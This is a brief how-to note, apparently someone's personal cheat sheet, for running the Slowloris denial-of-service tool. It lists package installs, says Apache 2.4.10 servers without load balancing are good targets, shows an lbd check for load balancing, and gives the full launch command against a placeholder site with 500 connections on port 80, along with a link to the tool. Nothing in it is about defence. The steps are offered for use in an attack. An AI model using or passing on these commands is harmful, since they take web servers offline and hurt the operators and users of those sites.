slowloris

apt-get update
apt-get install perl libwww-mechanize-shell-perl perl-mechanize
#cd into file slowloris.pl
#chmod 775 slowloris.pl
vulnerable sites are usually running Apache 2.4.10
and they are not using loadbalancing\
#lbd www.testsite.com

cd into slowloris
./slowloris.ph -dns www.testsite.com -port 80 -timeout 1 -num 500

https://github.com/llaera/slowloris.pl